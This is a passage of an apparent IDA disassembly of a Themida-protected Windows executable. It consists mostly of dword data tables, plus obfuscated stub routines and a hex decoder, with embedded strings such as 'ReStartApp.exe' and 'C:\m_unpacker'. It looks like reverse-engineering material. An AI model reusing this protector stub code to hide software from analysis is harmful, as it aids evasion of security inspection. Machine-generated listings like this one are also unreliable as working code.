0F856DB59h, 13B5D832h, 407A4D26h dd 90D1C9B8h, 2D01B39Eh, 0ED9C3744h, 0D8FF11CCh, 245B6FECh dd 614CE5B9h, 0C44B5564h, 0B633699Fh, 8FF5192Bh, 0DFF92ED0h dd 0C432095Ch, 0B4E98B33h, 0BAFEC435h, 0A6BCDA00h, 0DE093A44h dd 46490037h, 0AA65F925h, 141C7A74h, 74E6F258h, 0F889181Ch dd 81900056h, 50D3D047h, 138DA0EEh, 81CB3C84h, 3924A0D0h dd 0A0B62948h, 0D6B25D01h, 6C70A880h, 971400F8h, 3BA58725h dd 0EF0117F5h, 36F6A12Ah, 4C703DE1h, 0D0B61A62h, 0B82046D4h dd 0D7F15D20h, 60FF3002h, 605B1E99h, 18DC8889h, 0A879DFAFh dd 8B2EBB1Ah, 0CB44C0ACh, 0E71CCCh, 51923C76h, 0E926F65Fh dd 1343E82Dh, 481A8858h, 1E96005Ah, 0B17D911Fh, 11C2F5Bh dd 37C08ED8h, 0A325E32Dh, 992A005Eh, 1D1C6E7Bh, 0AC99AC89h dd 330DFA85h, 920B5C40h, 6FC34Fh, 11759086h, 2AD30D3Bh dd 0A027A3E8h, 0EEDCA0FDh, 3F88F4F7h, 30DC6BFCh, 77ABA04h dd 8068C487h, 0B0433C69h, 1C002492h, 249E80Fh, 0E68C937Eh dd 62363BEEh, 0BD7B8201h, 2D37E3B9h, 887A2A70h, 3D00FF70h dd 0C79EDEB8h, 58CD0D76h, 1275932Bh, 48DEBF0h, 0B09A2794h dd 6D184534h, 5E4947B7h, 58842CF3h, 0EEAE0628h, 404C1948h dd 3D7E4CBCh, 0BEA1612Eh, 218038A9h, 0C092BA9Fh, 870EA7DCh dd 0E06A9ACEh, 13F44179h, 0AC23FB88h, 9D0B0074h, 562C0CBFh dd 1600F1F6h, 3070336Bh, 16B1F3D0h, 94BBA09h, 0C498D33Dh dd 400B075h, 0C92FE763h, 4CCAC2F2h, 0EEC32872h, 0E0F85A21h dd 0F705CF0Ch, 42AC3AB7h, 17F1A820h, 402D39D9h, 0B9442E04h dd 0E4A238h, 6F9FD4Ch, 1462007h, 0AAE1296Dh, 0CDF70C91h dd 38C33B7h, 4DD0D60Ah, 0BE78D00Eh, 43F80074h, 754028Bh dd 0F2399A03h, 1D230B63h, 3DA06048h, 76B090FBh, 926EF053h dd 5A140908h, 0E081F62Ch, 2856B16Dh, 65348788h, 0CA009247h dd 2230689h, 1E4FBF17h, 0B0594D19h, 9D42C14h, 688BD240h dd 7DB0Ch, 0FC1C6A4Fh, 2FA54325h, 0E363B200h, 0AAC38521h dd 0DAD402D1h, 47263233h, 0F81218C4h, 5884B960h, 7E5AD830h dd 0E21F003Ch, 993F83F9h, 0D17CDFEEh, 0C280B703h, 0EC7DC70Bh dd 2A008CE2h, 51712BBEh, 5501CE4Bh, 6E116743h, 1863A53Ch dd 805B007Ah, 3A7422BCh, 1801C098h, 19CD730Eh, 20722D32h dd 0DCAEC800h, 0FF0374D0h, 0B70BD513h, 90503C20h, 0D04556E0h dd 8B825500h, 4FCDC1B3h, 7600727Eh, 0B4AABF86h, 28915130h dd 0CC15E9h, 225BA6AFh, 113C69EEh, 7A33EF05h, 0B0800E4Fh dd 0A66A6F8Bh, 0D10D0384h, 69EC307Fh, 0F52950F0h, 0A8185C2Eh dd 3ADB2E00h, 2555F683h, 84200AB9h, 3464CA4h, 21A8AE48h dd 0CB3F0414h, 26BC8C6Ch, 0C55F2902h, 0E6698E27h, 6D3C0064h dd 8F8C54FFh, 4B000429h, 0B46F392Ah, 1302BECAh, 525FBh dd 0ADC3650Ch, 0A05E2DEFh, 7054F420h, 981C090Fh, 1D0A55A8h dd 6C784030h, 321C844Eh, 92C77F63h, 0C09512EBh, 0FC803984h dd 13D35B82h, 2896957h, 253E9008h, 8B5E6600h, 0E60100D6h dd 0F2BD840Bh, 7D0E4722h, 6023D319h, 0BBC9A0DFh, 526207C8h dd 0C0791521h, 0B9D1FAEEh, 0A1C0E176h, 0EF2873ADh, 0F4460BEDh dd 90AF70FFh, 98063FE9h, 7C9C11F7h, 0A9ED8140h, 2390034h dd 4BB0C0B8h, 890335E8h, 0D44199B6h, 5AFEE8BFh, 3258097Fh dd 70107C28h, 0D10008EFh, 2935EE7Bh, 486E9D1Ah, 0F1C09C84h dd 0A1E67C04h, 0D5DF800h, 0FD32D67Eh, 76720A0Bh, 5F01CC1Eh dd 6CFFFFh, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4FA844: ; CODE XREF: start:loc_48F265j ; DATA XREF: start:loc_48F086o jmp loc_4FDDB9 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 83h, 0Eh, 2 dd 0CC85E600h, 7Ah, 0 dd 0F5000000h, 0A7FD8177h, 0FFh, 9C00h, 5 dup(0) dd 0FF9D6000h, 7Eh, 0 dd 53D21600h, 0 dd 0FE030400h, 7Fh, 641BD700h, 237Fh, 0E6D70600h, 77h dd 7F7CDE00h, 5Eh, 4FAB8900h, 0DD189A00h, 77h, 4 dup(0) dd 0D400h, 722F9000h, 61h, 6 dup(0) dd 0E78B8200h, 12FEF877h, 5 dup(0) dd 0FFA00F00h, 0FFh, 0 dd 0A58D8D00h, 62h, 0 dd 4FBEA200h, 53002300h, 3 dup(0) dd 100h, 6 dup(0) dd 0E7AC5E00h, 0E7F9EE77h, 22222277h, 22222222h, 22h, 7 dup(0) dd 100h, 0 dd 6A7200h, 0FEC27900h, 4FC7F536h, 2 dup(0) dd 28010500h, 53734F0Ah, 0AAB1CA00h, 3 dup(0) dd 6A7200h, 5 dup(0) dd 572E7600h, 3 dup(0) dd 0E8065D00h, 56E2D977h, 0 dd 0E75CB500h, 53BE4177h, 8 dup(0) dd 9D23E800h, 4 dup(0) dd 8800h, 0 dd 0FE030400h, 7Fh, 0AFB86400h, 22h, 0 dd 0FFA70C00h, 0FFh, 0A00A1900h, 0FFh, 3 dup(0) dd 604300h, 5 dup(0) dd 101000h, 4 dup(0) dd 0C6318800h, 5Dh, 5 dup(0) dd 12FFC400h, 5 dup(0) dd 3800h, 0 dd 9C09F700h, 7 dup(0) dd 9C69DD00h, 2 dup(0) dd 52EF3600h, 537B9600h, 4 dup(0) dd 2AE800h, 9 dup(0) dd 58000000h, 3AD202h, 3 dup(0) dd 9CA03700h, 8136EA00h, 0E7A5FD22h, 77h, 400h, 4D73E300h dd 34h, 4 dup(0) dd 0EBA6E900h, 537B3F77h, 3 dup(0) dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h dd 9CA037h, 448BE0FFh, 0E0FF0424h, 16h dup(0) dd 100h, 3 dup(0) dd 9C9C3700h, 5 dup(0) dd 0C530DF00h, 0A9h, 6 dup(0) dd 1465FD00h, 8900E45Ch, 78F033B8h, 4FD4F9FAh, 2 dup(0) dd 44034000h, 77BF00h, 0Fh dup(0) dd 1E3ADC00h, 4, 0 dd 9CA00F00h, 0 dd 0FF94AC00h, 0FFh, 8 dup(0) dd 54020300h, 0 dd 8000h, 5 dup(0) dd 4E83EA00h, 20Ch, 2 dup(0) dd 0ED011000h, 0FFh, 4 dup(0) dd 0EE800h, 10h dup(0) dd 0CD3D4200h, 0BEh, 0D727300h, 0Eh, 2 dup(0) dd 0AC8CB100h, 0FFh, 1A97FB00h, 4793151h, 57h, 54C79800h dd 4 dup(0) dd 200h, 0Ah dup(0) dd 9E9BAC00h, 0 dd 0FF4ADE00h, 0FFh, 2 dup(0) dd 9C9BBF00h, 0 dd 0C0EF0E00h, 0EEh, 0FC8D8D00h, 57h, 3 dup(0) dd 1446F000h, 4 dup(0) dd 57DE9200h, 0Bh dup(0) dd 9C69DD00h, 0 dd 9D156000h, 2987D100h, 7Ah, 0 dd 35B00h, 6 dup(0) dd 0B3000000h, 2 dup(0) dd 0DD23D700h, 77h, 3 dup(0) dd 46DA4400h, 0C2h, 0 dd 7400h, 2 dup(0) dd 0C530DF00h, 0A9h, 9C949900h, 9D156800h, 5 dup(0) dd 0ACA1FE00h, 4 dup(0) dd 35000100h, 238h, 4FD4F900h, 3005000h, 56E432FEh, 8 dup(0) dd 0D4C96A00h, 77h, 16h dup(0) dd 9C949900h, 6 dup(0) dd 74E3AB00h, 13h, 533B8900h, 0 dd 9C229200h, 7 dup(0) dd 0A77EFB00h, 10h, 53516500h, 3 dup(0) dd 56555400h, 3Bh, 4 dup(0) dd 0E7A13F00h, 77h, 0A98D6000h, 0A8h, 2 dup(0) dd 0FF2A5500h, 0FFh, 0DD59F000h, 77h, 5 dup(0) dd 629FFB00h, 75h, 6 dup(0) dd 0E5B80D00h, 0FFh, 6 dup(0) dd 9B0A9A00h, 13h dup(0) dd 9CCAAC00h, 30740E06h, 194Eh, 12FFA400h, 0Ah dup(0) dd 0FE030400h, 7Fh, 4 dup(0) dd 0E776CD00h, 77h, 0Bh dup(0) dd 0C530DF00h, 21E9A9h, 2Ch dup(0) dd 23A4C800h, 0E3h, 0 dd 0E7C48600h, 629FFB77h, 75h, 0 dd 53E30200h, 3 dup(0) dd 571AEB00h, 14h dup(0) dd 0D400h, 3 dup(0) dd 5268CE00h, 547C0EB9h, 0 dd 5209D100h, 8C80h, 69DD00h, 0 dd 0E74A2E00h, 77h, 8800h, 0 dd 6A7200h, 82B39B00h, 20h, 7 dup(0) dd 48D00000h, 53515300h, 0Eh dup(0) dd 0E75CB500h, 77h, 1FCFC00h, 80h, 0 dd 0E78B8200h, 12FF2477h, 5 dup(0) dd 55359E00h, 3 dup(0) dd 0F52E0F00h, 77h, 0B9h dup(0) dd 54FE2A00h, 2 dup(0) dd 4FECD900h, 3 dup(0) dd 9C70C400h, 0FE030400h, 7Fh, 9 dup(0) dd 0D67D6C00h, 88h, 2 dup(0) dd 56FF5E00h, 2 dup(0) dd 577BBE00h, 57598900h, 0 dd 456BD700h, 2, 5390BB00h, 0 dd 53515300h, 0C5594F00h, 5Dh, 2 dup(0) dd 40000000h, 53D21600h, 0 dd 0A800h, 0C1C02800h, 40h, 4 dup(0) dd 0E7AC5E00h, 677h, 3 dup(0) dd 9CFA5600h, 5 dup(0) dd 4BD0CB00h, 0F2h, 11h dup(0) dd 554E0F00h, 57628400h, 0 dd 7CE9DF00h, 0DDh, 0 dd 9B520600h, 0A8h, 0 dd 4C51AD00h, 77h, 7D100h, 2200h, 5 dup(0) dd 55AF6200h, 0 dd 523B9900h, 2 dup(0) dd 0D4000000h, 77h, 6 dup(0) dd 9C69DD00h, 2 dup(0) dd 0B5E79C00h, 52EF0E5Ch, 1Bh dup(0) dd 0AF0B00h, 2 dup(0) dd 9C939300h, 24242400h, 24h, 4 dup(0) dd 53002300h, 2 dup(0) dd 18B5C500h, 88h, 0 dd 0E002300h, 1Ah, 9 dup(0) dd 635FF100h, 0FFh, 6A7200h, 0Ah dup(0) dd 4FB8F100h, 4 dup(0) dd 55C00B00h, 0E7A5FD00h, 3600077h, 9C3E3B00h, 0Ah dup(0) dd 200h, 2 dup(0) dd 2C5FA500h, 19h, 5 dup(0) dd 18B00000h, 0BFC3BF00h, 0FFh, 0E27AC00h, 400000C8h, 0FE030400h dd 7Fh, 2 dup(0) dd 56B85A00h, 0 dd 55CCE500h, 2Bh dup(0) dd 54A88A00h, 4 dup(0) dd 100h, 0 dd 0D401D400h, 0ED00AC01h, 0F7CEDEFFh, 8484h, 6 dup(0) dd 0FE030400h, 7Fh, 56E13000h, 55C6DC00h, 0 dd 0E77CB800h, 77h, 16h dup(0) dd 7C00h, 3 dup(0) dd 9C314500h, 4 dup(0) dd 0C530DF00h, 0A9h, 0FE030400h, 905E4D7Fh, 9F27E0Fh, 0FEh dd 7 dup(0) dd 0A0A5E700h, 9C69DD00h, 0 dd 38A8D00h, 6 dup(0) dd 0E82FE800h, 77h, 9D23E800h, 2 dup(0) dd 200h, 6 dup(0) dd 200h, 0D4C96A00h, 77h, 2 dup(0) dd 58017C00h, 0 dd 5345EC00h, 0 dd 100h, 2 dup(9C69DD00h), 0 dd 0B91CF200h, 28h, 2 dup(0) dd 4FE8BA00h, 53515300h, 9800h, 523B9900h, 3 dup(0) dd 0ABF400h, 6 dup(0) dd 8220BC00h, 0EEh, 7 dup(0) dd 0C5E50B00h, 5Ch, 0FF9E8000h, 0FFh, 12FF2400h, 4 dup(0) dd 14013000h, 2 dup(0) dd 44034000h, 56000000h, 2, 537FDF00h, 338F1D00h, 0FE876C5Fh dd 7Fh, 12FF5400h, 0Dh dup(0) dd 56B85A00h, 2 dup(0) dd 130000h, 2 dup(0) dd 0DD5ECC00h, 77h, 0 dd 0C3005000h, 0FEh, 0 dd 6A7200h, 5 dup(0) dd 1A0000h, 0 dd 0C00000h, 9 dup(0) dd 0A7F63A00h, 0FFh, 2 dup(0) dd 72C600h, 3 dup(0) dd 0E76A2E00h, 77h, 6 dup(0) dd 2DF1500h, 1Fh, 0 dd 53B70100h, 3 dup(0) dd 0FE030400h, 7Fh, 6B7B00h, 3 dup(0) dd 8B107C00h, 0E7h, 4 dup(0) dd 0FF680000h, 0FFh, 2 dup(0) dd 5498E200h, 0 dd 0EFFC000h, 0DCh, 0 dd 54A88A00h, 0E8216800h, 14B41777h, 86000088h, 2, 2 dup(0) dd 456BBC00h, 2, 0 dd 52EEE600h, 4 dup(0) dd 50F3E400h, 0E7A144E1h, 77h, 5692F600h, 0B4BB00h, 64h dup(0) dd 0FE030400h, 7Fh, 8 dup(0) dd 0FE030400h, 7Fh, 6 dup(0) dd 456CD800h, 2, 9 dup(0) dd 0E805D800h, 77h, 8 dup(0) dd 200000h, 3 dup(0) dd 9C69DD00h, 2 dup(0) dd 0B634CF00h, 0BEF21274h, 5500006Eh, 2, 4 dup(0) dd 97962300h, 0A7h, 19h dup(0) dd 0FE030400h, 7Fh, 9 dup(0) dd 635FF100h, 0FFh, 538DC200h, 14h dup(0) dd 0CF030400h, 7Fh, 4 dup(0) dd 0AF000000h, 1Eh, 2 dup(0) dd 400h, 456BCE00h, 2, 4FD4F900h, 0 dd 0A000h, 0 dd 64ADFA00h, 8A3A557h, 82DE3B0Bh, 0B3h, 0Fh dup(0) dd 2214000h, 2 dup(0) dd 44A7B500h, 0DEh, 0FA588800h, 0B0630500h, 77h, 4FE33500h dd 0E123900h, 9A6CE11Ah, 80h, 3 dup(0) dd 0E7EF2B00h, 28h, 5 dup(0) dd 55597400h, 56B13C86h, 3 dup(0) dd 0AC00h, 0 dd 53000000h, 0 dd 1FCFC00h, 0DD000080h, 77h, 8 dup(0) dd 0FFE25800h, 0A08D53FFh, 2AB9F000h, 0FEh, 2 dup(0) dd 56000000h, 2, 3 dup(0) dd 0E7A14400h, 77h, 6 dup(0) dd 5448E900h, 6 dup(0) dd 9C8C0A00h, 2 dup(0) dd 0FBD52900h, 0E776CD72h, 77h, 4FB8F100h, 0 dd 7C3400h, 7 dup(0) dd 100h, 0EDCB2800h, 0E0h, 3 dup(0) dd 4FB8F100h, 3 dup(0) dd 9C69DD00h, 4EBEB000h, 55EA0F6Eh, 6 dup(0) dd 0CC048C00h, 2Fh, 0 dd 7245200h, 4010003Eh, 2 dup(0) dd 0F0459300h, 51h, 53608700h, 559FF100h, 3 dup(0) dd 9C69DD00h, 5 dup(0) dd 9C915B00h, 2 dup(0) dd 0F3005000h, 1FDh, 7 dup(0) dd 5CFFB000h, 1, 0 dd 0FE030400h, 7Fh, 0Bh dup(0) dd 12FF2400h, 11h dup(0) dd 0AA392400h, 212121FFh, 21h, 0 dd 9B0A9A00h, 0 dd 0AA000000h, 56996700h, 0Bh dup(0) dd 53002300h, 6C1E8500h, 9BD5546Ch, 2 dup(0) dd 0FCAD0F00h, 77h, 0E7E2D900h, 77h, 0 dd 1FCFC00h, 80h, 0 dd 0D36B6100h, 30h, 0E83E6800h, 77h, 0FE030400h, 7Fh, 5 dup(0) dd 100h, 7800h, 12403500h, 3 dup(0) dd 101000h, 6 dup(0) dd 9E7FD800h, 0 dd 2100000h, 80h, 2200h, 13h dup(0) dd 81B74000h, 0B0h, 0Bh dup(0) dd 9C923400h, 3 dup(0) dd 73655200h, 74726174h, 2E707041h, 657865h, 4 dup(0) dd 0F7EBB300h, 0E8279877h, 77h, 4 dup(0) dd 0FF960000h, 0FF9485FFh, 0FFh, 44034000h, 2 dup(0) dd 82C5E800h, 0A0h, 3 dup(0) dd 5386C400h, 3 dup(0) dd 52B9CB00h, 9 dup(0) dd 7C3400h, 9C2BDE00h, 9C39E00h, 0FEh, 0 dd 9BB16800h, 3 dup(0) dd 3900h, 2 dup(0) dd 55058F00h, 9C939300h, 5 dup(0) dd 24E900h, 2 dup(0) dd 101000h, 6 dup(0) dd 111C00h, 0FFAE3900h, 0FFh, 4E0BA900h, 18h, 6 dup(0) dd 9D326800h, 0CCFFB000h, 1, 16h dup(0) dd 0FE030400h, 7Fh, 3 dup(0) dd 550D3D00h, 53892000h, 0F0h, 3CD49300h, 12FF64EAh, 2 dup(0) dd offset dword_564300 dd 6 dup(0) dd 0A400h, 9C3E3B00h, 2 dup(0) dd 82C5E800h, 0A0h, 2 dup(0) dd 74BF00h, 3 dup(0) dd 8F01400h, 2 dup(0) dd 0E7C65700h, 77h, 0 dd 104400h, 0 dd 54774400h, 5 dup(0) dd 0B41B4000h, 76h, 46DA4400h, 0C2h, 3 dup(0) dd 0B03400h, 0F6h, 9C8C0A00h, 3 dup(0) dd 7C0200h, 0 dd 6A7200h, 55B19600h, 2 dup(0) dd 5ACFF400h, 26h, 2 dup(0) dd 0F75E3E00h, 77h, 0E7A09900h, 77h, 6 dup(0) dd 0FFFFFF00h, 0FFh, 9 dup(0) dd 400h, 6 dup(0) dd 0B9547C00h, 18h, 0Dh dup(0) dd 5599D300h, 6 dup(0) dd 0FE030400h, 3D000C7Fh, 2, 4 dup(0) dd 100h, 101000h, 2 dup(0) dd 12FFE000h, 57F7FB00h, 2 dup(0) dd 0E793EF00h, 77h, 1FCFC00h, 80h, 7Fh dup(0) dd 0FE04CE00h, 4FBEA17Fh, 400E900h, 0 dd 0FE030400h, 7Fh, 3 dup(0) dd 44034000h, 2 dup(0) dd 54FF5400h, 7 dup(0) dd 4FD4F900h, 4FC7F500h, 0 dd 53A34000h, 2 dup(0) dd 44034000h, 4 dup(0) dd 9E6BED00h, 56996337h, 21h dup(0) dd 4F000000h, 9E731600h, 0 dd 0FEEB8D00h, 7Fh, 52EC7300h, 0B4000000h, 76h, 2 dup(0) dd 400E900h, 6 dup(0) dd 12FF6000h, 0 dd 30400h, 4 dup(0) dd 560BCD00h, 80h, 4 dup(0) dd 55354100h, 6 dup(0) dd 57FFFF00h, 6 dup(0) dd 9400h, 6 dup(0) dd 56459D00h, 0E123800h, 3636361Ah, 52CB1036h, 3 dup(0) dd 572E0D00h, 100h, 4 dup(0) dd 8C00000h, 2 dup(0) dd 9B000000h, 2 dup(0) dd 5261D700h, 3 dup(0) dd 14234A00h, 0 dd 1AACB00h, 52919300h, 0FBh, 6A7200h, 0E8279400h, 77h dd 0 dd 54E79500h, 4 dup(0) dd 3A000h, 0 dd 5551F700h, 53913F00h, 516B9F00h, 7D4B95ACh, 0FE03048Ah dd 7Fh, 0 dd 6A7200h, 3 dup(0) dd 7C4C00h, 0Fh dup(0) dd 1FCFC00h, 80h, 9 dup(0) dd 65685400h, 6164696Dh, 1Fh dup(0) dd 731D7500h, 0CAh, 12h dup(0) dd 0F1EDC800h, 0E5h, 56940200h, 2 dup(0) dd 3D9400h, 7FFF00h, 3D000000h, 2, 0 dd 200h, 0 dd 5F6F400h, 80h, 9 dup(0) dd 0C382E800h, 98h, 8 dup(0) dd 3800h, 3 dup(0) dd 0FE030400h, 7Fh, 0 dd 53260200h, 3 dup(0) dd 9CA00F00h, 2 dup(0) dd 6A7200h, 0 dd 538DC200h, 3 dup(0) dd 1A4CC00h, 2 dup(0) dd 5604C500h, 0FE030400h, 7Fh, 57FFD500h, 9C5E2E00h, 5EEE1400h dd 629FFB1Eh, 12FFA475h, 53002300h, 2 dup(0) dd 4FD4C100h, 10h dup(0) dd 200h, 56555500h, 55C6DC3Bh, 2 dup(0) dd 0F5180B00h, 4E83EA77h, 0Ch, 8 dup(0) dd 6FD74600h, 861AAFF0h, 2, 58017C00h, 3 dup(0) dd 0B4000000h, 76h, 0A00F00h, 0Fh dup(0) dd 0E776CD00h, 77h, 0 dd 53529C00h, 0 dd 53515300h, 8 dup(0) dd 9EB13400h, 3 dup(0) dd 0A400h, 0 dd 53002300h, 11h dup(0) dd 0FE030400h, 7Fh, 0Ah dup(0) dd 58027F00h, 2 dup(0) dd 629FFB00h, 9075h, 4 dup(0) dd 6CFFB000h, 1, 0 dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h, 32336D65h dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 39h dup(0) dd 55B20B00h, 7 dup(0) dd 0FF390000h, 3D00FFh, 2 dup(0) dd 0C530DF00h, 0A9h, 2 dup(0) dd 456B9C00h, 2, 0FFA29C00h, 0FFh, 8 dup(0) dd 35B00h, 0 dd 55200A00h, 4FE3F500h, 2 dup(0) dd 0AFB39800h, 42h, 0 dd 9C1300h, 0 dd 56B65600h, 0 dd 3AA0000h, 2 dup(0) dd 36400h, 0 dd 0FE030400h, 7Fh, 0 dd 0A0999500h, 5498E200h, 0B28C1D00h, 571B5ECBh, 538DC200h dd 0Dh dup(0) dd 7CFBF300h, 12FEF8FAh, 6 dup(0) dd 5F5400h, 7BB900h, 9 dup(0) dd 9C69DD00h, 2 dup(0) dd 1C2E3300h, 99h, 2 dup(0) dd 9C69DD00h, 0FFFFFF00h, 0FFh, 6 dup(0) dd 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 86h dup(0) dd 0E7796300h, 77h, 0 dd 0E8061800h, 53515377h, 0 dd 0FE030400h, 7Fh, 523B9900h, 492400h, 0C0543800h, 97h dd 2 dup(0) dd 0A010000h, 7Ch, 12FEF800h, 4 dup(0) dd 58027F00h, 0 dd 82A7F500h, 60h, 0 dd 0A680A300h, 0CDh, 95E76700h, 0E0h, 2 dup(0) dd 9CA00F00h, 0 dd 0EE8D8D00h, 3Bh, 3 dup(0) dd 5800AD00h, 4 dup(0) dd 9B0FE600h, 3 dup(0) dd 53733300h, 0 dd 0FE030400h, 7Fh, 1Ah dup(0) dd 0F2970300h, 6Fh, 0 dd 58027F00h, 0 dd 9CFA5600h, 847D7F00h, 5535D7EDh, 2 dup(0) dd 54399300h, 5 dup(0) dd 4FB8F100h, 0F7CEDE00h, 84h, 57000000h, 2, 8 dup(0) dd 12FFF000h, 9C360700h, 3 dup(0) dd 40000000h, 4 dup(0) dd 54000000h, 5 dup(0) dd 9C69DD00h, 0 dd 0A71A6E00h, 52EC8DEFh, 2 dup(0) dd 3F0B8200h, 0AEh, 6 dup(0) dd 64D50100h, 1FDh, 5 dup(0) dd 33333300h, 2 dup(33333333h), 33h, 0 dd 87F87B00h, 0B2h, 2 dup(0) dd 0A8D18A00h, 1FFh, 5 dup(0) dd 0FE030400h, 7Fh, 14h dup(0) dd 57598900h, 2 dup(0) dd 533B8900h, 0 dd 100h, 0 dd 6A94EA00h, 89h, 3 dup(0) dd 0E74A3B00h, 77h, 0 dd 7D239E00h, 9C69DD84h, 2 dup(0) dd 3D9400h, 2 dup(0) dd 0FE6FFF00h, 7Fh, 4 dup(0) dd 533B8900h, 0 dd 400E900h, 0 dd 11111100h, 2198ED11h, 2836h, 2C639900h, 0C4h, 0Eh dup(0) dd 0F7CEDE00h, 284h, 4 dup(0) dd 1DE58600h, 0Eh, 5 dup(0) dd 0E123800h, 1Ah, 200h, 0E6000000h, 9B0A9A77h, 0Dh dup(0) dd 9C6DB900h, 0 dd 0FE030400h, 5818EF7Fh, 2 dup(0) dd 0F7611000h, 9, 28h dup(0) dd 7000h, 2 dup(0) dd 9D23E800h, 4 dup(0) dd 0E21A7A00h, 56B4A6F1h, 0E8000h, 0Bh dup(0) dd 0FFFFF800h, 77h, 3 dup(0) dd 0C70000h, 5429DE00h, 572E5600h, 0Eh dup(0) dd 4FAB8900h, 6EFF4600h, 0FEh, 3 dup(0) dd 1A47F300h, 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4FDDB9: ; CODE XREF: start:loc_4FA844j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 622357Fh mov [ebp+6220265h], edx mov [ebp+6222975h], esi mov [ebp+6223171h], eax cmp dword ptr [ebp+6220619h], 0 jz short loc_4FDDF1 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4FDDF1: ; CODE XREF: start+6EDCFj mov eax, [esp+40h+var_1C] mov [ebp+6220B49h], eax push 45h call sub_4FDEA5 push 783749Ah call sub_4FDEEB push 0A894B25h call sub_4FDEEB jmp loc_4FE02F ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh dd 0C1C0BFBEh, 0C3C2h, 2 dup(0) db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FDEA5 proc near ; CODE XREF: start+6EDE9p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 622366Dh mov ebx, edx mov [ebp+var_28], 0 loc_4FDEC1: ; CODE XREF: sub_4FDEA5+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_4FDEE0 mov eax, [ebp+arg_0] mov [ebx+62235D7h], eax inc [ebp+arg_0] inc ebx jmp short loc_4FDEC1 ; --------------------------------------------------------------------------- loc_4FDEE0: ; CODE XREF: sub_4FDEA5+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_4FDEA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FDEEB proc near ; CODE XREF: start+6EDF3p start+6EDFDp var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 62236B6h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_4FDF11: ; CODE XREF: sub_4FDEEB+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_4FDF11 mov [ebp+var_84], 0 lea edi, [edx+62235D7h] lea esi, [ebp+var_80] loc_4FDF41: ; CODE XREF: sub_4FDEEB+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_4FDF4D: ; CODE XREF: sub_4FDEEB+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_4FDF4D imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_4FDF41 popa leave retn 4 sub_4FDEEB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_4FDF8B ; --------------------------------------------------------------------------- loc_4FDF87: ; CODE XREF: Themida_:004FDF8Ej inc dword ptr [ebp-4] inc esi loc_4FDF8B: ; CODE XREF: Themida_:004FDF85j cmp byte ptr [esi], 0 jnz short loc_4FDF87 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_4FE01C ; --------------------------------------------------------------------------- loc_4FDF9D: ; CODE XREF: Themida_:004FE01Fj mov dword ptr [ebp-8], 0 jmp short loc_4FE013 ; --------------------------------------------------------------------------- loc_4FDFA6: ; CODE XREF: Themida_:004FE017j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_4FE000 ; --------------------------------------------------------------------------- loc_4FDFB6: ; CODE XREF: Themida_:004FE004j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_4FDFD8 cmp bl, 39h ja short loc_4FDFD8 sub bl, 30h jmp short loc_4FDFFA ; --------------------------------------------------------------------------- loc_4FDFD8: ; CODE XREF: Themida_:004FDFCCj ; Themida_:004FDFD1j cmp bl, 61h jb short loc_4FDFEA cmp bl, 66h ja short loc_4FDFEA sub bl, 61h add bl, 0Ah jmp short loc_4FDFFA ; --------------------------------------------------------------------------- loc_4FDFEA: ; CODE XREF: Themida_:004FDFDBj ; Themida_:004FDFE0j cmp bl, 41h jb short loc_4FDFFA cmp bl, 46h ja short loc_4FDFFA sub bl, 41h add bl, 0Ah loc_4FDFFA: ; CODE XREF: Themida_:004FDFD6j ; Themida_:004FDFE8j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_4FE000: ; CODE XREF: Themida_:004FDFB4j cmp dword ptr [ebp-0Ch], 2 jb short loc_4FDFB6 cmp dword ptr [ebp-10h], 0 jbe short loc_4FE010 mov eax, [ebp-10h] stosb loc_4FE010: ; CODE XREF: Themida_:004FE00Aj 